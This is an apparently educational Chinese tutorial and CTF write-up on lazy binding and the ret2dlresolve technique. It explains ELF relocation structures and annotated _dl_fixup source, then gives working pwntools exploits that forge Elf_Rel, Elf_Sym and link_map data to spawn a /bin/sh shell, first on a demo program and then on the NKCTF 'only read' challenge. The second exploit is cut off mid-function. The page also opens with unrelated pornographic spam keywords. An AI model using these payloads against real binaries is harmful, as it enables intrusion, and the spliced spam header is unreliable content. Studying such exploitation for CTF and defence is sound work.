<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      延遲綁定與 ret2dlresolve 詳解

      ret2dlresolve 是棧溢出下的一種攻擊方法,主要用于程序沒有辦法利用 puts 、printf、writer 函數(shù)等泄露程序內(nèi)存信息的情況。

      延遲綁定

      在 Linux 中,為了程序運行的效率與性能,在沒有開啟 FULL RELRO 時候,程序在第一次執(zhí)行函數(shù)時,會先執(zhí)行一次動態(tài)鏈接,將對應函數(shù)的 got 表填上 libc 中的函數(shù)地址。在這個過程中,程序使用 _dl_runtime_resolve(link_map_obj, realoc_index) 來對動態(tài)鏈接的函數(shù)進行重定位。
      以 32 位程序為例,如圖

      可以看到 read@plt 是會利用 jmp 指令跳轉(zhuǎn)到 read@got 執(zhí)行,這里如果是 read 函數(shù)是第一次執(zhí)行的時候,read@got 是指向了 read@plt 的第二條指令也就是 “ jmp read@got ” 的下一條指令,所以又跳轉(zhuǎn)回到了 read@plt + 6 繼續(xù)執(zhí)行,會接著壓入 0x20( reloc_offset 參數(shù)),然后跳轉(zhuǎn)到 PLT0(也就是公共表項),會先壓入一個值,也就是 link_map_obj 參數(shù),然后進入 _dl_runtime_resolve 函數(shù)執(zhí)行,執(zhí)行完成后 read@got->read@libc ,之后再次執(zhí)行 read@plt ,那么執(zhí)行 "jmp read@got" 就會執(zhí)行 read@libc,也就不需要再次綁定了。
      其中 link_map_obj 參數(shù)的作用是為了能夠定位 .dynamic 段,而定位了 .dynamic 段就能接著定位(根據(jù)偏移)到 .dynstr 段、.dynsym 段、.rel.plt 段,該參數(shù)是 PLT0 默認提供的,程序中所有函數(shù)在動態(tài)鏈接過程中的該參數(shù)都是相同的;
      而 reloc_offset 是對應函數(shù)的 plt 提供的,起到定位對應函數(shù)的 ELF_Rel 結(jié)構(gòu)體的作用。

      通過上圖我們可以看到 plt 中的各個函數(shù)的 push 的值都是不同的,也就是說 reloc_index 的值是不同的。從圖中可以看到,plt 段開頭就是 PLT0。
      接下來我們介紹下 .dynstr 段、.dynsym 段、.rel.plt 段。
      通過以下命令可以找出各個段的地址
      objdump -s -j .dynsym pwn

      .dynstr 段:存放了各個函數(shù)的名稱字符串。

      .dynsym 段:由 Elf_Sym 結(jié)構(gòu)體集合而成

      其中的 Elf_Sym 結(jié)構(gòu)體如代碼
      typedef struct {
          ELF32_Word st_name;
          ELF32_Addr st_value;
          ELF32_Word st_size;
          unsigned char st_info;
          unsigned char st_other;
          Elf32_Section st_shndx;
      } Elf32_Sym;

      其中 st_name 域是相對于 .dynstr 段的偏移,來確定函數(shù)名稱字符串在 .dynstr 段的地址;st_value 域是當前符合被導出時存放虛擬地址的。

      .rel.plt 段:由 Elf_Rel 結(jié)構(gòu)體集合而成

      其中的 Elf_Rel 結(jié)構(gòu)體如代碼
      typedef struct {
          ELF32_Addr r_offset;
          ELF32_Addr r_info;
      } Elf32_Rel;

      r_offset 域用于保存解析后的符號地址寫入內(nèi)存的位置, r_info 域的值在 右移 8 位之后的值用于標識該符號在 .dynsym 段中的位置,也就是確定該函數(shù)的 Elf_Sym 結(jié)構(gòu)體地址。其中的 r_offset 域也就是 GOT 表,當解析完成后,GOT 表中對應的函數(shù)地址也就被寫上了對應函數(shù)的 libc 地址。

      其中,這幾個段的關系是這樣的。
      通過 link_map_obj 參數(shù)定位 .dynamic 段,再根據(jù)偏移定位到 .dynstr 段、.dynsym 段、.rel.plt 段后,再通過 reloc_offset + .rel.plt 確定了 .rel.plt 段中對應函數(shù)的 Elf.Rel 結(jié)構(gòu)體后,就能確定其中的 r_offset 也就是對應函數(shù)的 GOT 表地址,還有 r_info,根據(jù) (r_info >> 8) + .dynsym 確定對應函數(shù)在 .dynsym 段中的 Elf_Sym 結(jié)構(gòu)體,那么我們又獲得了 st_name ,根據(jù) st_name + .dynstr 來確定對應函數(shù)的名稱字符串地址,最后,根據(jù)獲得的函數(shù)名字符串來在 libc 中尋找對應函數(shù)的 libc 地址,再返回寫在 got 表上。
      _dl_runtime_resolve 函數(shù)實際上就只是調(diào)用了 _dl_fixup 函數(shù),其函數(shù)代碼大致如下
      _dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
      {
          // 首先通過參數(shù)reloc_arg計算重定位的入口,這里的JMPREL即.rel.plt,reloc_offest即reloc_arg
          const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
          // 然后通過reloc->r_info找到.dynsym中對應的條目
          const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
          // 這里還會檢查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
          assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
          // 接著通過strtab+sym->st_name找到符號表字符串,result為libc基地址
          result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
          // value為libc基址加上要解析函數(shù)的偏移地址,也即實際地址
          value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
          // 最后把value寫入相應的GOT表條目中
          return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);    
      }
      關系圖如下:

       漏洞利用

      這里我們先通過棧遷移的方法模擬的虛假的 puts 函數(shù)初次動態(tài)鏈接的實現(xiàn),并達到 puts("Hacker!") 的效果
      這里自己簡單寫了一個具有棧溢出漏洞的程序
      #include <unistd.h>
      #include <stdio.h>
      #include <string.h>
      
      void vuln(){
          char buf[0x10];
          puts("> ");
          read(0, buf, 0x30);
      }
      void init(){
          setbuf(stdout, 0);
          setbuf(stderr, 0);
          setbuf(stdin, 0);
      }
      int main()
      {
          init();
          vuln();
          return 0;
      }
      編譯命令
      gcc -fno-stack-protector -z relro -no-pie -fno-pie 1.c -m32 -o pwn

      這樣,我們就得到一個簡單的棧溢出漏洞程序,我們現(xiàn)在利用這個程序來實現(xiàn) ret2dlresolve

      首先,我們嘗試通過棧遷移的方法來模擬實現(xiàn) puts 函數(shù)動態(tài)鏈接的過程,并打印 Hacker!

      leave = 0x08049105
      ret = 0x08049009
      PLT0 = 0x8049030
      buf = elf.bss() + 0x800
      
      gdb.attach(p, 'b *0x80491C1')
      
      sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))
      
      sleep(3)
      payload = b'a'*4 + p32(PLT0) + p32(0x18) + p32(0) + p32(buf + 0x14) + b'Hacker!'
      s(payload)
      
      pause()

      exp 如代碼,在這個代碼中,我們先進行了棧遷移,之后模擬已經(jīng)將 0x18 (puts 函數(shù)的 realoc_index 參數(shù))已經(jīng)壓入棧,接著執(zhí)行 PLT0,壓入 link_map_obj 參數(shù),然后執(zhí)行 _dl_runtime_resolve 函數(shù),之后解析完成那么就能夠接著執(zhí)行 puts("Hacker!") 打印出 Hacker!

      第二步我們自己偽造 Elf_Rel 結(jié)構(gòu)體來實現(xiàn)這一效果。首先要控制好 realoc_index 參數(shù),使函數(shù)的 Elf_Rel 結(jié)構(gòu)體落在 bss 上

      leave = 0x08049105
      ret = 0x08049009
      PLT0 = 0x8049030
      buf = elf.bss() + 0x800
      
      rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
      
      #gdb.attach(p, 'b *0x80491C1')
      
      sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))
      
      sleep(3)
      realoc_index = buf + 0x14 - rel_plt
      fake_Elf_Rel = p32(elf.got['puts']) + p32(0x407)
      
      payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x1c) + fake_Elf_Rel + b'Hacker!'
      s(payload)
      
      pr()
      #pause()
      其中, realoc_index 的值是根據(jù) Elf_Rel 結(jié)構(gòu)體與 .rel.plt 段的差得到的,而 0x407 也就是 r_info 的值是用來尋找 Elf_Sym 結(jié)構(gòu)體的,所以這里就沒必要更改

      從 IDA 反匯編后的 Elf_Rel 結(jié)構(gòu)體中可以看出,puts 函數(shù)對應的 r_info 的值是 0x407

      接著繼續(xù)偽造 Elf_Sym 結(jié)構(gòu)體,那么這里我們就需要修改 r_info 的值了,其中, r_info 的值是由 r_sym 和 r_type 計算得出,r_sym 是對應函數(shù)的 Elf_Sym 結(jié)構(gòu)體相對于 .dynsym 段的偏移,r_type 照抄取為 7(_dl_fixup 函數(shù)中會檢測 r_info 的低位是否為 7,這里一般默認為 7)

      那么
      r_sym = (buf + xx - .dynsym)/0x10
      r_info = (r_sym << 8) + r_type(7)

      同樣的,這里的 fake_Elf_Sym 結(jié)構(gòu)體里面的值先照抄原本的 Elf_Sym 結(jié)構(gòu)體的值,所以

      fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2
      fake_Elf_Sym = p32(puts_str_addr - dynstr)+ p32(0)*2 + p32(0x12)+ p32(0)*2

      exp

      leave = 0x08049105
      ret = 0x08049009
      PLT0 = 0x8049030
      buf = elf.bss() + 0x800
      
      rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
      dynsym = 0x804821c
      dynstr = 0x80482BC
      
      #gdb.attach(p, 'b *0x80491C1')
      
      sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))
      
      sleep(3)
      # set fake_Elf_Sym
      r_sym = (buf + 0x1c - dynsym) / 0x10
      r_type = 7
      r_info = (int(r_sym) << 8) + r_type
      puts_str_addr = 0x80482F3
      
      fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2
      
      # set fake_Elf_Rel
      realoc_index = buf + 0x14 - rel_plt
      fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)
      
      
      payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x34)
      payload +=  fake_Elf_Rel # buf + 0x14
      payload += fake_Elf_Sym # buf + 0x1c
      payload += b"Hacker!" #buf+0x34
      
      s(payload)
      
      pr()
      #pause()

      接下來繼續(xù)偽造 .dynstr 段上的字符串,這個改動比較簡單,偽造一個 fake_st_name 即可

      fake_st_name = bus + xx - .dynstr

      exp

      leave = 0x08049105
      ret = 0x08049009
      PLT0 = 0x8049030
      buf = elf.bss() + 0x800
      
      rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
      dynsym = 0x804821c
      dynstr = 0x80482BC
      
      #gdb.attach(p, 'b *0x80491C1')
      
      sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))
      
      sleep(3)
      # set fake_st_name
      fake_st_name = buf + 0x34 - dynstr
      
      # set fake_Elf_Sym
      r_sym = (buf + 0x1c - dynsym) / 0x10
      r_type = 7
      r_info = (int(r_sym) << 8) + r_type
      puts_str_addr = 0x80482F3
      fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2
      
      # set fake_Elf_Rel
      realoc_index = buf + 0x14 - rel_plt
      fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)
      
      
      payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c)
      payload +=  fake_Elf_Rel # buf + 0x14
      payload += fake_Elf_Sym # buf + 0x1c
      payload += b"puts" + p32(0) #buf+0x34
      payload += b"Hacker!"
      s(payload)
      
      pr()
      #pause()

      由于解析是根據(jù)函數(shù)名字符串來尋找的,所以我們接下來只需要修改 puts -> system、Hacker! -> /bin/sh 即可 get shell

      完整 exp
      from pwn import *
      from struct import pack
      from ctypes import *
      #from LibcSearcher import *
      
      def s(a) : p.send(a)
      def sa(a, b) : p.sendafter(a, b)
      def sl(a) : p.sendline(a)
      def sla(a, b) : p.sendlineafter(a, b)
      def r() : return p.recv()
      def pr() : print(p.recv())
      def rl(a) : return p.recvuntil(a)
      def inter() : p.interactive()
      def debug():
          gdb.attach(p)
          pause()
      def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
      def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
      def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a)
      
      context(os='linux', arch='amd64', log_level='debug')
      p = process('./pwn')
      #p = remote('1.14.71.254', 28966)
      elf = ELF('./pwn')
      libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
      
      leave = 0x08049105
      ret = 0x08049009
      PLT0 = 0x8049030
      buf = elf.bss() + 0x800
      
      rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
      dynsym = 0x804821c
      dynstr = 0x80482BC
      
      #gdb.attach(p, 'b *0x80491C1')
      
      sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))
      
      sleep(3)
      # set fake_st_name
      fake_st_name = buf + 0x34 - dynstr
      
      # set fake_Elf_Sym
      r_sym = (buf + 0x1c - dynsym) / 0x10
      r_type = 7
      r_info = (int(r_sym) << 8) + r_type
      puts_str_addr = 0x80482F3
      fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2
      
      # set fake_Elf_Rel
      realoc_index = buf + 0x14 - rel_plt
      fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)
      
      
      payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c)
      payload +=  fake_Elf_Rel # buf + 0x14
      payload += fake_Elf_Sym # buf + 0x1c
      payload += b"system" + p16(0) #buf+0x34
      payload += b"/bin/sh\x00"
      s(payload)
      
      inter()
      #pause()

      x64

      x64 下的題目我們以 2023-nkctf 的 only read 題目舉例

      程序開始經(jīng)過四個 base64 加密驗證之后,進入 next 函數(shù)

      存在一個棧溢出,本題目沒有 write、printf、puts 一類的函數(shù)來泄露程序內(nèi)存,對于這種情況我們可以用 ret2dlresolve 的做法。
      不過,在 64 位下,部分數(shù)據(jù)結(jié)構(gòu)有了變動
      這是 64 位下的 Elf_Sym 結(jié)構(gòu)體
      typedef struct{  
          Elf64_Word st_name;    /* Symbol name (string tbl index) */  
          unsigned char st_info;    /* Symbol type and binding */  
          unsigned char st_other; /* Symbol visibility */  
          Elf64_Section st_shndx; /* Section index */  
          Elf64_Addr st_value; /* Symbol value */  
          Elf64_Xword    st_size; /* Symbol size */
      }Elf64_Sym;

      這是64 位下的 Elf_Rel 結(jié)構(gòu)體,增加了 r_addend

      typedef struct{  
          Elf64_Addr r_offset;        /* Address */  
          Elf64_Xword    r_info;            /* Relocation type and symbol index */  
          Elf64_Sxword r_addend;        /* Addend */
      }Elf64_Rela;

      并且,如果是直接像 32 位的做法直接偽造 realoc_index,那么會因為 _dl_fixup 函數(shù)執(zhí)行時候訪問到錯誤的內(nèi)存地址而奔潰

      具體可看代碼注釋
      _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一個參數(shù)link_map,也就是got[1]
      {
          // 獲取link_map中存放DT_SYMTAB的地址
        const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
          // 獲取link_map中存放DT_STRTAB的地址
        const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
          // reloc_offset就是reloc_arg,獲取重定位表項中對應函數(shù)的結(jié)構(gòu)體
        const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
          // 根據(jù)重定位結(jié)構(gòu)體的r_info得到symtab表中對應的結(jié)構(gòu)體
        const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
          
        void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
        lookup_t result;
        DL_FIXUP_VALUE_TYPE value;
      
        /* Sanity check that we're really looking at a PLT relocation.  */
        assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 檢查r_info的最低位是不是7
      
         /* Look up the target symbol.  If the normal lookup rules are not
            used don't look in the global scope.  */
        if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 這里是一層檢測,檢查sym結(jié)構(gòu)體中的st_other是否為0,正常情況下為0,執(zhí)行下面代碼
          {
            const struct r_found_version *version = NULL;
               // 這里也是一層檢測,檢查link_map中的DT_VERSYM是否為NULL,正常情況下不為NULL,執(zhí)行下面代碼
            if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
              {
                // 到了這里就是64位下報錯的位置,在計算版本號時,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的過程中,由于我們一般偽造的symtab位于bss段
                // 就導致在64位下reloc->r_info比較大,故程序會發(fā)生錯誤。所以要使程序不發(fā)生錯誤,自然想到的辦法就是不執(zhí)行這里的代碼,分析上面的代碼我們就可以得到兩種手段
                // 第一種手段就是使上一行的if不成立,也就是設置link_map中的DT_VERSYM為NULL,那我們就要泄露出link_map的地址,而如果我們能泄露地址,根本用不著ret2dlresolve。
                // 第二種手段就是使最外層的if不成立,也就是使sym結(jié)構(gòu)體中的st_other不為0,直接跳到后面的else語句執(zhí)行。
                const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
                ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
                version = &l->l_versions[ndx];
                if (version->hash == 0)
                  version = NULL;
              }
      
            /* We need to keep the scope around so do some locking.  This is
           not necessary for objects which cannot be unloaded or when
           we are not using any threads (yet).  */
            int flags = DL_LOOKUP_ADD_DEPENDENCY;
            if (!RTLD_SINGLE_THREAD_P)
              {
                THREAD_GSCOPE_SET_FLAG ();
                flags |= DL_LOOKUP_GSCOPE_LOCK;
              }
      
            RTLD_ENABLE_FOREIGN_CALL;
          // 在32位情況下,上面代碼運行中不會出錯,就會走到這里,這里通過strtab+sym->st_name找到符號表字符串,result為libc基地址
            result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                          version, ELF_RTYPE_CLASS_PLT, flags, NULL);
      
            /* We are done with the global scope.  */
            if (!RTLD_SINGLE_THREAD_P)
          THREAD_GSCOPE_RESET_FLAG ();
      
            RTLD_FINALIZE_FOREIGN_CALL;
      
            /* Currently result contains the base load address (or link map)
           of the object that defines sym.  Now add in the symbol
           offset.  */
            // 同樣,如果正常執(zhí)行,接下來會來到這里,得到value的值,為libc基址加上要解析函數(shù)的偏移地址,也即實際地址,即result+st_value
            value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
          }
        else
          { 
            // 這里就是64位下利用的關鍵,在最上面的if不成立后,就會來到這里,這里value的計算方式是 l->l_addr + st_value
            // 我們的目的是使value為我們所需要的函數(shù)的地址,所以就得控制兩個參數(shù),l_addr 和 st_value
            /* We already found the symbol.  The module (and therefore its load
           address) is also known.  */
            value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
            result = l;
          }
      
        /* And now perhaps the relocation addend.  */
        value = elf_machine_plt_value (l, reloc, value);
      
        if (sym != NULL
            && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
          value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
      
        /* Finally, fix up the plt itself.  */
        if (__glibc_unlikely (GLRO(dl_bind_not)))
          return value;
        // 最后把value寫入相應的GOT表條目中
        return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
      }
      //來自 https://blog.csdn.net/qq_51868336/article/details/114644569
      總結(jié)地說,我們需要
      1. st_other != 0
      2. l -> l_addr = system_libc - a_libc;sym -> st_value = a_got (其中,a 函數(shù)是已經(jīng)被解析過的一個函數(shù))
      那么最后得到的就是 l->l_addr + sym->st_value = system_libc - a_libc + a_got = system_libc_real,因此,這種攻擊方法需要我們同時偽造 Elf_Sym 和 link_map
      對于 link_map 結(jié)構(gòu)體
      //0x68  strtab
      //0x70  symtab
      //0xf8   relplt
      struct link_map {
          Elf64_Addr l_addr;
          char *l_name;
          Elf64_Dyn *l_ld;
          struct link_map *l_next;
          struct link_map *l_prev;
          struct link_map *l_real;
          Lmid_t l_ns;
          struct libname_list *l_libname;
          Elf64_Dyn *l_info[76];
          const Elf64_Phdr *l_phdr;
          Elf64_Addr l_entry;
          Elf64_Half l_phnum;
          Elf64_Half l_ldnum;
          struct r_scope_elem l_searchlist;
          struct r_scope_elem l_symbolic_searchlist;
          struct link_map *l_loader;
          struct r_found_version *l_versions;
          unsigned int l_nversions;
          Elf_Symndx l_nbuckets;
          Elf32_Word l_gnu_bitmask_idxbits;
          Elf32_Word l_gnu_shift;
          const Elf64_Addr *l_gnu_bitmask;
          union {
              const Elf32_Word *l_gnu_buckets;
              const Elf_Symndx *l_chain;
          };
          union {
              const Elf32_Word *l_gnu_chain_zero;
              const Elf_Symndx *l_buckets;
          };
          unsigned int l_direct_opencount;
          enum {lt_executable, lt_library, lt_loaded} l_type : 2;
          unsigned int l_relocated : 1;
          unsigned int l_init_called : 1;
          unsigned int l_global : 1;
          unsigned int l_reserved : 2;
          unsigned int l_phdr_allocated : 1;
          unsigned int l_soname_added : 1;
          unsigned int l_faked : 1;
          unsigned int l_need_tls_init : 1;
          unsigned int l_auditing : 1;
          unsigned int l_audit_any_plt : 1;
          unsigned int l_removed : 1;
          unsigned int l_contiguous : 1;
          unsigned int l_symbolic_in_local_scope : 1;
          unsigned int l_free_initfini : 1;
          struct r_search_path_struct l_rpath_dirs;
          struct reloc_result *l_reloc_result;
          Elf64_Versym *l_versyms;
          const char *l_origin;
          Elf64_Addr l_map_start;
          Elf64_Addr l_map_end;
          Elf64_Addr l_text_end;
          struct r_scope_elem *l_scope_mem[4];
          size_t l_scope_max;
          struct r_scope_elem **l_scope;
          struct r_scope_elem *l_local_scope[2];
          struct r_file_id l_file_id;
          struct r_search_path_struct l_runpath_dirs;
          struct link_map **l_initfini;
          struct link_map_reldeps *l_reldeps;
          unsigned int l_reldepsmax;
          unsigned int l_used;
          Elf64_Word l_feature_1;
          Elf64_Word l_flags_1;
          Elf64_Word l_flags;
          int l_idx;
          struct link_map_machine l_mach;
          struct {
              const Elf64_Sym *sym;
              int type_class;
              struct link_map *value;
              const Elf64_Sym *ret;
          } l_lookup_cache;
          void *l_tls_initimage;
          size_t l_tls_initimage_size;
          size_t l_tls_blocksize;
          size_t l_tls_align;
          size_t l_tls_firstbyte_offset;
          ptrdiff_t l_tls_offset;
          size_t l_tls_modid;
          size_t l_tls_dtor_count;
          Elf64_Addr l_relro_addr;              
          size_t l_relro_size;
          unsigned long long l_serial;
          struct auditstate l_audit[];
      };

      根據(jù) _dl_fixup 函數(shù)的代碼,我們可以知道 .rel.plt 、.dynsym、.dynstr 段的地址都是從 l -> l_info[] 中取的,所以 l -> l_info 又對應了 .dynamic 段,這里我們可以在 IDA 看到 .dynamic 段的內(nèi)容

      紅框從上到下分別對應 .dynstr 、.dynsym、.rel.plt 段,也就說
      .dynstr 指針:位于 .dynamic +0x88 (32位下是0x44)
      .dynsym 指針:位于 .dynamic + 0x98 (32位下是0x4c)
      .rel.plt 指針:位于 .dynamic +0x108 (32位下是0x84)
      這里我們通過 gdb 調(diào)試看下

      可以根據(jù)對應偏移找到各個段的地址

      這里再回答下 .dynamic 段和 link_map 中的 l_info 的關系

      根據(jù)上面兩張圖我們可以知道
      DT_STRTAB指針:位于 link_map_addr +0x68(32位下是0x34)
      DT_SYMTAB指針:位于 link_map_addr + 0x70(32位下是0x38)
      DT_JMPREL指針:位于 link_map_addr +0xF8(32位下是0x7C)
      我們就知道_dl_fixup 函數(shù)中為什么是根據(jù) l_info 來取 .dynstr 、.dynsym、.rel.plt 段的地址了
      這樣,我們就完全理解了之前提到的為什么 link_map_obj 能夠定位到 .dynmic 段,而 .dynmic 段又能夠定位到 .dynstr 、 .dynsym、.rel.plt 段。
      繼續(xù)接下來的攻擊準備,我們需要修改 link_map 中的 l_addr 為 system_libc - a_libc 的值, l_info 中的 DT_STRTAB指針、DT_SYMTAB指針、DT_JMPREL指針來偽造 .dynstr 、 .dynsym、.rel.plt 段。并且在 fake_Elf_Sym 結(jié)構(gòu)體中的 st_value 為一個已經(jīng)解析過的( a )函數(shù)的 got 表地址。
      這里我們只需要修改 fake_Elf_Sym 為 a 函數(shù)的 got 表地址 - 0x8,那么順帶著 sym -> st_other != 0 的條件也會滿足。
      由于 link_map 結(jié)構(gòu)體比較大,因此我們也將 fake_Elf_Sym 結(jié)構(gòu)體和 "/bin/sh\x00" 也寫進去
      def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
          # &(2**64-1)是因為offset通常為負數(shù),如果不控制范圍,p64后會越界,發(fā)生錯誤
          linkmap = p64(offset & (2 ** 64 - 1))#l_addr
      
          # fake_linkmap_addr + 8,也就是DT_JMPREL,至于為什么有個0,可以參考IDA上.dyamisc的結(jié)構(gòu)內(nèi)容
          linkmap += p64(0) # 可以為任意值
          linkmap += p64(fake_linkmap_addr + 0x18) # 這里的值就是偽造的.rel.plt的地址
      
          # fake_linkmap_addr + 0x18,fake_rel_write,因為write函數(shù)push的索引是0,也就是第一項
          linkmap += p64((fake_linkmap_addr + 0x90)) # Rela->r_offset,正常情況下這里應該存的是got表對應條目的地址,解析完成后在這個地址上存放函數(shù)的實際地址,此處我們只需要設置一個可讀寫的地址即可 
          linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的對應項,7>>32=0,也就是指向symtab的第一項
          linkmap += p64(0)# Rela->r_addend,任意值都行
      
          linkmap += p64(0)#l_ns
      
          # fake_linkmap_addr + 0x38, DT_SYMTAB 
          linkmap += p64(0) # 參考IDA上.dyamisc的結(jié)構(gòu)
          linkmap += p64(known_func_ptr - 0x8) # 這里的值就是偽造的symtab的地址,為已解析函數(shù)的got表地址-0x8
      
          linkmap += b'/bin/sh\x00'
          linkmap = linkmap.ljust(0x68, b'A')
          linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 對應的值的是DT_STRTAB的地址,由于我們用不到strtab,所以隨意設置了一個可讀區(qū)域
          linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 對應的值是DT_SYMTAB的地址
          linkmap = linkmap.ljust(0xf8, b'A')
          linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 對應的值是DT_JMPREL的地址
          return linkmap
      最終exp
      from pwn import *
      from struct import pack
      from ctypes import *
      from LibcSearcher import *
      import base64
      
      def s(a):
          p.send(a)
      def sa(a, b):
          p.sendafter(a, b)
      def sl(a):
          p.sendline(a)
      def sla(a, b):
          p.sendlineafter(a, b)
      def r():
          p.recv()
      def pr():
          print(p.recv())
      def rl(a):
          return p.recvuntil(a)
      def inter():
          p.interactive()
      def debug():
          gdb.attach(p)
          pause()
      def get_addr():
          return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
      def get_sb():
          return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
      
      context(os='linux', arch='amd64', log_level='debug')
      p = process('./pwn')
      #p = remote('spdc-1.play.hfsc.tf', 40003)
      elf = ELF('./pwn')
      #libc = ELF('./libc-2.27-x64.so')
      libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
      
      sleep(0.1)
      s("V2VsY29tZSB0byBOS0NURiE=")
      sleep(0.1)
      s("dGVsbCB5b3UgYSBzZWNyZXQ6")
      sleep(0.1)
      s("SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
      sleep(0.1)
      s("Y2FuIHlvdSBmaW5kIG1lPw==")
      sleep(0.1)
      
      rdi = 0x401683
      rsi_r15 = 0x401681
      rbp = 0x40117d
      leave = 0x4013c2
      ret = 0x40101a
      PLT1 = 0x401026
      buf = elf.bss() + 0x400
      
      def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
          # &(2**64-1)是因為offset通常為負數(shù),如果不控制范圍,p64后會越界,發(fā)生錯誤
          linkmap = p64(offset & (2 ** 64 - 1))#l_addr
      
          # fake_linkmap_addr + 8,也就是DT_JMPREL,至于為什么有個0,可以參考IDA上.dyamisc的結(jié)構(gòu)內(nèi)容
          linkmap += p64(0) # 可以為任意值
          linkmap += p64(fake_linkmap_addr + 0x18) # 這里的值就是偽造的.rel.plt的地址
      
          # fake_linkmap_addr + 0x18,fake_rel_write,因為write函數(shù)push的索引是0,也就是第一項
          linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情況下這里應該存的是got表對應條目的地址,解析完成后在這個地址上存放函數(shù)的實際地址,此處我們只需要設置一個可讀寫的地址即可 
          linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的對應項,7>>32=0,也就是指向symtab的第一項
          linkmap += p64(0)# Rela->r_addend,任意值都行
      
          linkmap += p64(0)#l_ns
      
          # fake_linkmap_addr + 0x38, DT_SYMTAB 
          linkmap += p64(0) # 參考IDA上.dyamisc的結(jié)構(gòu)
          linkmap += p64(known_func_ptr - 0x8) # 這里的值就是偽造的symtab的地址,為已解析函數(shù)的got表地址-0x8
      
          linkmap += b'/bin/sh\x00'
